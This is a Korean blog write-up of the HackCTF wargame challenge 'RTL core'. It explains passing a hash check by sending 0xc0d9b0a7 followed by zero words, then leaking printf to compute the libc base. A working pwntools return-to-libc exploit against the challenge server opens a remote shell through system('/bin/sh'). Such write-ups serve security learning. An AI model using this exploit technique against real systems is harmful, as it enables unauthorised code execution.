본문 바로가기

RTL core 본문

wargame/HackCTF

RTL core

Seongjun_You 2021. 12. 13. 18:47

문제 이름답게 rtl을 사용하도록 한다.

rtl은 많이 사용하고 앞으로의 문제에서도 계속 나오기에 이번 포스팅에서는 생략한다.

 

패스코드를 입력하라고 나온다.

 

 

check_passcode를 통해 나온 반환 값이 hashcode와 같으면 함수를 실행한다.

hashcode의 값은 0xc0d9b0a7이다.

 

 

입력한 값을 차례대로 5번 더했을 때 0xc0d9b0a7이 나와야 한다.

매개변수가 char에서 int형으로 받기 때문에 4byte씩 끊긴다.

 

paylaod를 이렇게 보내면 if구문을 통과할 수 있다.

 

0xc0d9b0a7 + 0 + 0 + 0 + 0 = 0xc0d9b0a7이기 때문이다.

 

 

core에서는 read를 사용할 수 있다.

여기서 rtl를 사용한다.

 

 

passcode를 통과하면 printf의 실제 주소를 얻으니 libc를 통해 

주소 작업을 한 후

rtl로 system주소를 실행한다.

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3015)
elf = ELF("./rtlcore")
libc = ELF("./libc.so.6")
binsh = next(libc.search("/bin/sh\x00"))
system = libc.symbols['system']
context.log_level = 'Debug'

payload = p32(0xc0d9b0a7)
payload += p32(0)*4
p.sendline(payload)
time.sleep(1)

leak_print = int(p.recv().split(" ")[13],16)
base = leak_print - libc.symbols['printf']
system = base + system
binsh = base + binsh

print(hex(system))
print(hex(binsh))
time.sleep(1)


payload = "A"*66
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
p.sendline(payload)
 
p.interactive()

 

 

 

'wargame > HackCTF' 카테고리의 다른 글

Look at me  (0) 2021.12.13
Beginner_Heap  (0) 2021.12.13
Random Key  (0) 2021.12.12
1996  (0) 2021.12.12
Poet  (0) 2021.12.12
Comments